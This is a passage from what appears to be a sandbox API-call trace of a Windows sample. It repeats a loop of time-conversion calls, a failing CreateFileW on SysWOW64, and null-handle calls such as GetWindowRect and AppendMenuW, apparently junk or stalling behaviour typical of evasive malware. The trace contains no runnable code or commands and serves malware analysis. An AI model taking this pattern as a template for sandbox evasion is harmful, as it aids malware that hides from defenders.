	[0050.438] GetLogicalDrives () returned 0x4
	[0050.438] GetWindowRect (in: hWnd=0x0, lpRect=0xf3d98c | out: lpRect=0xf3d98c) returned 0
	[0050.438] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0050.438] GetIpNetTable (in: IpNetTable=0x0, SizePointer=0xf3d4ac, Order=0 | out: IpNetTable=0x0, SizePointer=0xf3d4ac) returned 0x7a
	[0050.439] GetIpNetTable (in: IpNetTable=0x30f8840, SizePointer=0xf3d4ac, Order=0 | out: IpNetTable=0x30f8840, SizePointer=0xf3d4ac) returned 0x0
	[0050.439] AppendMenuW (hMenu=0x0, uFlags=0x80688868, uIDNewItem=0x80000000, lpNewItem="C:\\WINDOWS\\SysWOW64") returned 0
	[0050.439] SystemTimeToFileTime (in: lpSystemTime=0xf3d800, lpFileTime=0xf3d92c | out: lpFileTime=0xf3d92c) returned 1
	[0050.439] FileTimeToSystemTime (in: lpFileTime=0xf3d7f0, lpSystemTime=0xf3d7c8 | out: lpSystemTime=0xf3d7c8) returned 1
	[0050.439] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0xf3d7c8, lpLocalTime=0xf3d7e0 | out: lpLocalTime=0xf3d7e0) returned 1
	[0050.439] CreateFileW (lpFileName="C:\\WINDOWS\\SysWOW64" (normalized: "c:\\windows\\syswow64"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x60000000, hTemplateFile=0x0) returned 0xffffffff
	[0050.439] GetCommState (in: hFile=0xffffffff, lpDCB=0xf3d7a0 | out: lpDCB=0xf3d7a0) returned 0
	[0050.440] SetErrorMode (uMode=0x1) returned 0x1
	[0050.440] GetLogicalDrives () returned 0x4
	[0050.440] GetWindowRect (in: hWnd=0x0, lpRect=0xf3d98c | out: lpRect=0xf3d98c) returned 0
	[0050.440] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0050.440] GetIpNetTable (in: IpNetTable=0x0, SizePointer=0xf3d4ac, Order=0 | out: IpNetTable=0x0, SizePointer=0xf3d4ac) returned 0x7a
	[0050.440] GetIpNetTable (in: IpNetTable=0x30f71e8, SizePointer=0xf3d4ac, Order=0 | out: IpNetTable=0x30f71e8, SizePointer=0xf3d4ac) returned 0x0
	[0050.440] AppendMenuW (hMenu=0x0, uFlags=0x80698a1c, uIDNewItem=0x80000000, lpNewItem="C:\\WINDOWS\\SysWOW64") returned 0
	[0050.441] SystemTimeToFileTime (in: lpSystemTime=0xf3d800, lpFileTime=0xf3d92c | out: lpFileTime=0xf3d92c) returned 1
	[0050.441] FileTimeToSystemTime (in: lpFileTime=0xf3d7f0, lpSystemTime=0xf3d7c8 | out: lpSystemTime=0xf3d7c8) returned 1
	[0050.441] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0xf3d7c8, lpLocalTime=0xf3d7e0 | out: lpLocalTime=0xf3d7e0) returned 1
	[0050.441] CreateFileW (lpFileName="C:\\WINDOWS\\SysWOW64" (normalized: "c:\\windows\\syswow64"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x60000000, hTemplateFile=0x0) returned 0xffffffff
	[0050.441] GetCommState (in: hFile=0xffffffff, lpDCB=0xf3d7a0 | out: lpDCB=0xf3d7a0) returned 0
	[0050.441] SetErrorMode (uMode=0x1) returned 0x1
	[0050.441] GetLogicalDrives () returned 0x4
	[0050.441] GetWindowRect (in: hWnd=0x0, lpRect=0xf3d98c | out: lpRect=0xf3d98c) returned 0
	[0050.441] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0050.441] GetIpNetTable (in: IpNetTable=0x0, SizePointer=0xf3d4ac, Order=0 | out: IpNetTable=0x0, SizePointer=0xf3d4ac) returned 0x7a
	[0050.442] AppendMenuW (hMenu=0x0, uFlags=0x806a64a8, uIDNewItem=0x80000000, lpNewItem="C:\\WINDOWS\\SysWOW64") returned 0
	[0050.442] SystemTimeToFileTime (in: lpSystemTime=0xf3d800, lpFileTime=0xf3d92c | out: lpFileTime=0xf3d92c) returned 1
	[0050.442] FileTimeToSystemTime (in: lpFileTime=0xf3d7f0, lpSystemTime=0xf3d7c8 | out: lpSystemTime=0xf3d7c8) returned 1
	[0050.442] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0xf3d7c8, lpLocalTime=0xf3d7e0 | out: lpLocalTime=0xf3d7e0) returned 1
	[0050.443] CreateFileW (lpFileName="C:\\WINDOWS\\SysWOW64" (normalized: "c:\\windows\\syswow64"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x60000000, hTemplateFile=0x0) returned 0xffffffff
	[0050.443] GetCommState (in: hFile=0xffffffff, lpDCB=0xf3d7a0 | out: lpDCB=0xf3d7a0) returned 0
	[0050.443] SetErrorMode (uMode=0x1) returned 0x1
	[0050.443] GetLogicalDrives () returned 0x4
	[0050.443] GetWindowRect (in: hWnd=0x0, lpRect=0xf3d98c | out: lpRect=0xf3d98c) returned 0
	[0050.444] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0050.444] AppendMenuW (hMenu=0x0, uFlags=0x806b665c, uIDNewItem=0x80000000, lpNewItem="C:\\WINDOWS\\SysWOW64") returned 0
	[0050.444] SystemTimeToFileTime (in: lpSystemTime=0xf3d800, lpFileTime=0xf3d92c | out: lpFileTime=0xf3d92c) returned 1
	[0050.444] FileTimeToSystemTime (in: lpFileTime=0xf3d7f0, lpSystemTime=0xf3d7c8 | out: lpSystemTime=0xf3d7c8) returned 1
	[0050.444] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0xf3d7c8, lpLocalTime=0xf3d7e0 | out: lpLocalTime=0xf3d7e0) returned 1
	[0050.444] CreateFileW (lpFileName="C:\\WINDOWS\\SysWOW64" (normalized: "c:\\windows\\syswow64"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x60000000, hTemplateFile=0x0) returned 0xffffffff
	[0050.444] GetCommState (in: hFile=0xffffffff, lpDCB=0xf3d7a0 | out: lpDCB=0xf3d7a0) returned 0
	[0050.444] SetErrorMode (uMode=0x1) returned 0x1
	[0050.444] GetLogicalDrives () returned 0x4
	[0050.444] GetWindowRect (in: hWnd=0x0, lpRect=0xf3d98c | out: lpRect=0xf3d98c) returned 0
	[0050.444] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0050.444] AppendMenuW (hMenu=0x0, uFlags=0x806c40e8, uIDNewItem=0x80000000, lpNewItem="C:\\WINDOWS\\SysWOW64") returned 0
	[0050.444] SystemTimeToFileTime (in: lpSystemTime=0xf3d800, lpFileTime=0xf3d92c | out: lpFileTime=0xf3d92c) returned 1
	[0050.444] FileTimeToSystemTime (in: lpFileTime=0xf3d7f0, lpSystemTime=0xf3d7c8 | out: lpSystemTime=0xf3d7c8) returned 1
	[0050.445] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0xf3d7c8, lpLocalTime=0xf3d7e0 | out: lpLocalTime=0xf3d7e0) returned 1
	[0050.445] CreateFileW (lpFileName="C:\\WINDOWS\\SysWOW64" (normalized: "c:\\windows\\syswow64"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x60000000, hTemplateFile=0x0) returned 0xffffffff
	[0050.445] GetCommState (in: hFile=0xffffffff, lpDCB=0xf3d7a0 | out: lpDCB=0xf3d7a0) returned 0
	[0050.445] SetErrorMode (uMode=0x1) returned 0x1
	[0050.445] GetLogicalDrives () returned 0x4
	[0050.445] GetWindowRect (in: hWnd=0x0, lpRect=0xf3d98c | out: lpRect=0xf3d98c) returned 0
	[0050.445] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0050.445] AppendMenuW (hMenu=0x0, uFlags=0x806d429c, uIDNewItem=0x80000000, lpNewItem="C:\\WINDOWS\\SysWOW64") returned 0
	[0050.445] SystemTimeToFileTime (in: lpSystemTime=0xf3d800, lpFileTime=0xf3d92c | out: lpFileTime=0xf3d92c) returned 1
	[0050.445] FileTimeToSystemTime (in: lpFileTime=0xf3d7f0, lpSystemTime=0xf3d7c8 | out: lpSystemTime=0xf3d7c8) returned 1
	[0050.445] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0xf3d7c8, lpLocalTime=0xf3d7e0 | out: lpLocalTime=0xf3d7e0) returned 1
	[0050.445] CreateFileW (lpFileName="C:\\WINDOWS\\SysWOW64" (normalized: "c:\\windows\\syswow64"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x60000000, hTemplateFile=0x0) returned 0xffffffff
	[0050.445] GetCommState (in: hFile=0xffffffff, lpDCB=0xf3d7a0 | out: lpDCB=0xf3d7a0) returned 0
	[0050.445] SetErrorMode (uMode=0x1) returned 0x1
	[0050.445] GetLogicalDrives () returned 0x4
	[0050.445] GetWindowRect (in: hWnd=0x0, lpRect=0xf3d98c | out: lpRect=0xf3d98c) returned 0
	[0050.445] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0050.445] AppendMenuW (hMenu=0x0, uFlags=0x806e1d28, uIDNewItem=0x80000000, lpNewItem="C:\\WINDOWS\\SysWOW64") returned 0
	[0050.446] SystemTimeToFileTime (in: lpSystemTime=0xf3d800, lpFileTime=0xf3d92c | out: lpFileTime=0xf3d92c) returned 1
	[0050.446] FileTimeToSystemTime (in: lpFileTime=0xf3d7f0, lpSystemTime=0xf3d7c8 | out: lpSystemTime=0xf3d7c8) returned 1
	[0050.446] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0xf3d7c8, lpLocalTime=0xf3d7e0 | out: lpLocalTime=0xf3d7e0) returned 1
	[0050.446] CreateFileW (lpFileName="C:\\WINDOWS\\SysWOW64" (normalized: "c:\\windows\\syswow64"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x60000000, hTemplateFile=0x0) returned 0xffffffff
	[0050.446] GetCommState (in: hFile=0xffffffff, lpDCB=0xf3d7a0 | out: lpDCB=0xf3d7a0) returned 0
	[0050.446] SetErrorMode (uMode=0x1) returned 0x1
	[0050.446] GetLogicalDrives () returned 0x4
	[0050.446] GetWindowRect (in: hWnd=0x0, lpRect=0xf3d98c | out: lpRect=0xf3d98c) returned 0
	[0050.446] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0050.446] AppendMenuW (hMenu=0x0, uFlags=0x806f1edc, uIDNewItem=0x80000000, lpNewItem="C:\\WINDOWS\\SysWOW64") returned 0
	[0050.446] SystemTimeToFileTime (in: lpSystemTime=0xf3d800, lpFileTime=0xf3d92c | out: lpFileTime=0xf3d92c) returned 1
	[0050.446] FileTimeToSystemTime (in: lpFileTime=0xf3d7f0, lpSystemTime=0xf3d7c8 | out: lpSystemTime=0xf3d7c8) returned 1
	[0050.446] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0xf3d7c8, lpLocalTime=0xf3d7e0 | out: lpLocalTime=0xf3d7e0) returned 1
	[0050.446] CreateFileW (lpFileName="C:\\WINDOWS\\SysWOW64" (normalized: "c:\\windows\\syswow64"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x60000000, hTemplateFile=0x0) returned 0xffffffff
	[0050.448] GetCommState (in: hFile=0xffffffff, lpDCB=0xf3d7a0 | out: lpDCB=0xf3d7a0) returned 0
	[0050.448] SetErrorMode (uMode=0x1) returned 0x1
	[0050.448] GetLogicalDrives () returned 0x4
	[0050.448] GetWindowRect (in: hWnd=0x0, lpRect=0xf3d98c | out: lpRect=0xf3d98c) returned 0
	[0050.448] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0050.448] AppendMenuW (hMenu=0x0, uFlags=0x806ff968, uIDNewItem=0x80000000, lpNewItem="C:\\WINDOWS\\SysWOW64") returned 0
	[0050.448] SystemTimeToFileTime (in: lpSystemTime=0xf3d800, lpFileTime=0xf3d92c | out: lpFileTime=0xf3d92c) returned 1
	[0050.448] FileTimeToSystemTime (in: lpFileTime=0xf3d7f0, lpSystemTime=0xf3d7c8 | out: lpSystemTime=0xf3d7c8) returned 1
	[0050.448] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0xf3d7c8, lpLocalTime=0xf3d7e0 | out: lpLocalTime=0xf3d7e0) returned 1
	[0050.448] CreateFileW (lpFileName="C:\\WINDOWS\\SysWOW64" (normalized: "c:\\windows\\syswow64"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x60000000, hTemplateFile=0x0) returned 0xffffffff
	[0050.448] GetCommState (in: hFile=0xffffffff, lpDCB=0xf3d7a0 | out: lpDCB=0xf3d7a0) returned 0
	[0050.448] SetErrorMode (uMode=0x1) returned 0x1
	[0050.449] GetLogicalDrives () returned 0x4
	[0050.449] GetWindowRect (in: hWnd=0x0, lpRect=0xf3d98c | out: lpRect=0xf3d98c) returned 0
	[0050.449] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0050.449] AppendMenuW (hMenu=0x0, uFlags=0x8070fb1c, uIDNewItem=0x80000000, lpNewItem="C:\\WINDOWS\\SysWOW64") returned 0
	[0050.449] SystemTimeToFileTime (in: lpSystemTime=0xf3d800, lpFileTime=0xf3d92c | out: lpFileTime=0xf3d92c) returned 1
	[0050.449] FileTimeToSystemTime (in: lpFileTime=0xf3d7f0, lpSystemTime=0xf3d7c8 | out: lpSystemTime=0xf3d7c8) returned 1
	[0050.449] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0xf3d7c8, lpLocalTime=0xf3d7e0 | out: lpLocalTime=0xf3d7e0) returned 1
	[0050.449] CreateFileW (lpFileName="C:\\WINDOWS\\SysWOW64" (normalized: "c:\\windows\\syswow64"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x60000000, hTemplateFile=0x0) returned 0xffffffff
	[0050.449] GetCommState (in: hFile=0xffffffff, lpDCB=0xf3d7a0 | out: lpDCB=0xf3d7a0) returned 0
	[0050.449] SetErrorMode (uMode=0x1) returned 0x1
	[0050.449] GetLogicalDrives () returned 0x4
	[0050.449] GetWindowRect (in: hWnd=0x0, lpRect=0xf3d98c | out: lpRect=0xf3d98c) returned 0
	[0050.449] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0050.449] AppendMenuW (hMenu=0x0, uFlags=0x8071d5a8, uIDNewItem=0x80000000, lpNewItem="C:\\WINDOWS\\SysWOW64") returned 0
	[0050.449] SystemTimeToFileTime (in: lpSystemTime=0xf3d800, lpFileTime=0xf3d92c | out: lpFileTime=0xf3d92c) returned 1
	[0050.449] FileTimeToSystemTime (in: lpFileTime=0xf3d7f0, lpSystemTime=0xf3d7c8 | out: lpSystemTime=0xf3d7c8) returned 1
	[0050.449] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0xf3d7c8, lpLocalTime=0xf3d7e0 | out: lpLocalTime=0xf3d7e0) returned 1
	[0050.449] CreateFileW (lpFileName="C:\\WINDOWS\\SysWOW64" (normalized: "c:\\windows\\syswow64"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x60000000, hTemplateFile=0x0) returned 0xffffffff
	[0050.449] GetCommState (in: hFile=0xffffffff, lpDCB=0xf3d7a0 | out: lpDCB=0xf3d7a0) returned 0
	[0050.450] SetErrorMode (uMode=0x1) returned 0x1
	[0050.450] GetLogicalDrives () returned 0x4
	[0050.450] GetWindowRect (in: hWnd=0x0, lpRect=0xf3d98c | out: lpRect=0xf3d98c) returned 0
	[0050.450] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0050.450] AppendMenuW (hMenu=0x0, uFlags=0x8072d75c, uIDNewItem=0x80000000, lpNewItem="C:\\WINDOWS\\SysWOW64") returned 0
	[0050.450] SystemTimeToFileTime (in: lpSystemTime=0xf3d800, lpFileTime=0xf3d92c | out: lpFileTime=0xf3d92c) returned 1
	[0050.450] FileTimeToSystemTime (in: lpFileTime=0xf3d7f0, lpSystemTime=0xf3d7c8 | out: lpSystemTime=0xf3d7c8) returned 1
	[0050.450] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0xf3d7c8, lpLocalTime=0xf3d7e0 | out: lpLocalTime=0xf3d7e0) returned 1
	[0050.450] CreateFileW (lpFileName="C:\\WINDOWS\\SysWOW64" (normalized: "c:\\windows\\syswow64"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x60000000, hTemplateFile=0x0) returned 0xffffffff
	[0050.450] GetCommState (in: hFile=0xffffffff, lpDCB=0xf3d7a0 | out: lpDCB=0xf3d7a0) returned 0
	[0050.450] SetErrorMode (uMode=0x1) returned 0x1
	[0050.450] GetLogicalDrives () returned 0x4
	[0050.450] GetWindowRect (in: hWnd=0x0, lpRect=0xf3d98c | out: lpRect=0xf3d98c) returned 0
	[0050.450] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0050.451] AppendMenuW (hMenu=0x0, uFlags=0x8073b1e8, uIDNewItem=0x80000000, lpNewItem="C:\\WINDOWS\\SysWOW64") returned 0
	[0050.451] SystemTimeToFileTime (in: lpSystemTime=0xf3d800, lpFileTime=0xf3d92c | out: lpFileTime=0xf3d92c) returned 1
	[0050.451] FileTimeToSystemTime (in: lpFileTime=0xf3d7f0, lpSystemTime=0xf3d7c8 | out: lpSystemTime=0xf3d7c8) returned 1
	[0050.451] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0xf3d7c8, lpLocalTime=0xf3d7e0 | out: lpLocalTime=0xf3d7e0) returned 1
	[0050.451] CreateFileW (lpFileName="C:\\WINDOWS\\SysWOW64" (normalized: "c:\\windows\\syswow64"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x60000000, hTemplateFile=0x0) returned 0xffffffff
	[0050.451] GetCommState (in: hFile=0xffffffff, lpDCB=0xf3d7a0 | out: lpDCB=0xf3d7a0) returned 0
	[0050.451] SetErrorMode (uMode=0x1) returned 0x1
	[0050.451] GetLogicalDrives () returned 0x4
	[0050.451] GetWindowRect (in: hWnd=0x0, lpRect=0xf3d98c | out: lpRect=0xf3d98c) returned 0
	[0050.451] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0050.451] AppendMenuW (hMenu=0x0, uFlags=0x8073b39c, uIDNewItem=0x80000000, lpNewItem="C:\\WINDOWS\\SysWOW64") returned 0
	[0050.451] SystemTimeToFileTime (in: lpSystemTime=0xf3d800, lpFileTime=0xf3d92c | out: lpFileTime=0xf3d92c) returned 1
	[0050.451] FileTimeToSystemTime (in: lpFileTime=0xf3d7f0, lpSystemTime=0xf3d7c8 | out: lpSystemTime=0xf3d7c8) returned 1
	[0050.451] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0xf3d7c8, lpLocalTime=0xf3d7e0 | out: lpLocalTime=0xf3d7e0) returned 1
	[0050.451] CreateFileW (lpFileName="C:\\WINDOWS\\SysWOW64" (normalized: "c:\\windows\\syswow64"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x60000000, hTemplateFile=0x0) returned 0xffffffff
	[0050.451] GetCommState (in: hFile=0xffffffff, lpDCB=0xf3d7a0 | out: lpDCB=0xf3d7a0) returned 0
	[0050.451] SetErrorMode (uMode=0x1) returned 0x1
	[0050.452] GetLogicalDrives () returned 0x4
	[0050.452] GetWindowRect (in: hWnd=0x0, lpRect=0xf3d98c | out: lpRect=0xf3d98c) returned 0
	[0050.452] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0050.452] AppendMenuW (hMenu=0x0, uFlags=0x80748e28, uIDNewItem=0x80000000, lpNewItem="C:\\WINDOWS\\SysWOW64") returned 0
	[0050.452] SystemTimeToFileTime (in: lpSystemTime=0xf3d800, lpFileTime=0xf3d92c | out: lpFileTime=0xf3d92c) returned 1
	[0050.452] FileTimeToSystemTime (in: lpFileTime=0xf3d7f0, lpSystemTime=0xf3d7c8 | out: lpSystemTime=0xf3d7c8) returned 1
	[0050.452] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0xf3d7c8, lpLocalTime=0xf3d7e0 | out: lpLocalTime=0xf3d7e0) returned 1
	[0050.452] CreateFileW (lpFileName="C:\\WINDOWS\\SysWOW64" (normalized: "c:\\windows\\syswow64"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x60000000, hTemplateFile=0x0) returned 0xffffffff
	[0050.452] GetCommState (in: hFile=0xffffffff, lpDCB=0xf3d7a0 | out: lpDCB=0xf3d7a0) returned 0
	[0050.452] SetErrorMode (uMode=0x1) returned 0x1
	[0050.452] GetLogicalDrives () returned 0x4
	[0050.452] GetWindowRect (in: hWnd=0x0, lpRect=0xf3d98c | out: lpRect=0xf3d98c) returned 0
	[0050.452] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0050.452] AppendMenuW (hMenu=0x0, uFlags=0x80758fdc, uIDNewItem=0x80000000, lpNewItem="C:\\WINDOWS\\SysWOW64") returned 0
	[0050.452] SystemTimeToFileTime (in: lpSystemTime=0xf3d800, lpFileTime=0xf3d92c | out: lpFileTime=0xf3d92c) returned 1
	[0050.452] FileTimeToSystemTime (in: lpFileTime=0xf3d7f0, lpSystemTime=0xf3d7c8 | out: lpSystemTime=0xf3d7c8) returned 1
	[0050.452] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0xf3d7c8, lpLocalTime=0xf3d7e0 | out: lpLocalTime=0xf3d7e0) returned 1
	[0050.452] CreateFileW (lpFileName="C:\\WINDOWS\\SysWOW64" (normalized: "c:\\windows\\syswow64"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x60000000, hTemplateFile=0x0) returned 0xffffffff
	[0050.452] GetCommState (in: hFile=0xffffffff, lpDCB=0xf3d7a0 | out: lpDCB=0xf3d7a0) returned 0
	[0050.453] SetErrorMode (uMode=0x1) returned 0x1
	[0050.453] GetLogicalDrives () returned 0x4
	[0050.453] GetWindowRect (in: hWnd=0x0, lpRect=0xf3d98c | out: lpRect=0xf3d98c) returned 0
	[0050.453] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0050.453] AppendMenuW (hMenu=0x0, uFlags=0x80766a68, uIDNewItem=0x80000000, lpNewItem="C:\\WINDOWS\\SysWOW64") returned 0
	[0050.453] SystemTimeToFileTime (in: lpSystemTime=0xf3d800, lpFileTime=0xf3d92c | out: lpFileTime=0xf3d92c) returned 1
	[0050.453] FileTimeToSystemTime (in: lpFileTime=0xf3d7f0, lpSystemTime=0xf3d7c8 | out: lpSystemTime=0xf3d7c8) returned 1
	[0050.453] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0xf3d7c8, lpLocalTime=0xf3d7e0 | out: lpLocalTime=0xf3d7e0) returned 1
	[0050.453] CreateFileW (lpFileName="C:\\WINDOWS\\SysWOW64" (normalized: "c:\\windows\\syswow64"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x60000000, hTemplateFile=0x0) returned 0xffffffff
	[0050.453] GetCommState (in: hFile=0xffffffff, lpDCB=0xf3d7a0 | out: lpDCB=0xf3d7a0) returned 0
	[0050.453] SetErrorMode (uMode=0x1) returned 0x1
	[0050.453] GetLogicalDrives () returned 0x4
	[0050.453] GetWindowRect (in: hWnd=0x0, lpRect=0xf3d98c | out: lpRect=0xf3d98c) returned 0
	[0050.453] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0050.453] AppendMenuW (hMenu=0x0, uFlags=0x80776c1c, uIDNewItem=0x80000000, lpNewItem="C:\\WINDOWS\\SysWOW64") returned 0
	[0050.453] SystemTimeToFileTime (in: lpSystemTime=0xf3d800, lpFileTime=0xf3d92c | out: lpFileTime=0xf3d92c) returned 1
	[0050.453] FileTimeToSystemTime (in: lpFileTime=0xf3d7f0, lpSystemTime=0xf3d7c8 | out: lpSystemTime=0xf3d7c8) returned 1
	[0050.453] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0xf3d7c8, lpLocalTime=0xf3d7e0 | out: lpLocalTime=0xf3d7e0) returned 1
	[0050.453] CreateFileW (lpFileName="C:\\WINDOWS\\SysWOW64" (normalized: "c:\\windows\\syswow64"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x60000000, hTemplateFile=0x0) returned 0xffffffff
	[0050.454] GetCommState (in: hFile=0xffffffff, lpDCB=0xf3d7a0 | out: lpDCB=0xf3d7a0) returned 0
	[0050.454] SetErrorMode (uMode=0x1) returned 0x1
	[0050.454] GetLogicalDrives () returned 0x4
	[0050.454] GetWindowRect (in: hWnd=0x0, lpRect=0xf3d98c | out: lpRect=0xf3d98c) returned 0
	[0050.454] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0050.454] AppendMenuW (hMenu=0x0, uFlags=0x807846a8, uIDNewItem=0x80000000, lpNewItem="C:\\WINDOWS\\SysWOW64") returned 0
	[0050.454] SystemTimeToFileTime (in: lpSystemTime=0xf3d800, lpFileTime=0xf3d92c | out: lpFileTime=0xf3d92c) returned 1
	[0050.454] FileTimeToSystemTime (in: lpFileTime=0xf3d7f0, lpSystemTime=0xf3d7c8 | out: lpSystemTime=0xf3d7c8) returned 1
	[0050.454] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0xf3d7c8, lpLocalTime=0xf3d7e0 | out: lpLocalTime=0xf3d7e0) returned 1
	[0050.454] CreateFileW (lpFileName="C:\\WINDOWS\\SysWOW64" (normalized: "c:\\windows\\syswow64"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x60000000, hTemplateFile=0x0) returned 0xffffffff
	[0050.454] GetCommState (in: hFile=0xffffffff, lpDCB=0xf3d7a0 | out: lpDCB=0xf3d7a0) returned 0
	[0050.454] SetErrorMode (uMode=0x1) returned 0x1
	[0050.454] GetLogicalDrives () returned 0x4
	[0050.454] GetWindowRect (in: hWnd=0x0, lpRect=0xf3d98c | out: lpRect=0xf3d98c) returned 0
	[0050.454] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0050.454] AppendMenuW (hMenu=0x0, uFlags=0x8079485c, uIDNewItem=0x80000000, lpNewItem="C:\\WINDOWS\\SysWOW64") returned 0
	[0050.454] SystemTimeToFileTime (in: lpSystemTime=0xf3d800, lpFileTime=0xf3d92c | out: lpFileTime=0xf3d92c) returned 1
	[0050.454] FileTimeToSystemTime (in: lpFileTime=0xf3d7f0, lpSystemTime=0xf3d7c8 | out: lpSystemTime=0xf3d7c8) returned 1
	[0050.454] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0xf3d7c8, lpLocalTime=0xf3d7e0 | out: lpLocalTime=0xf3d7e0) returned 1
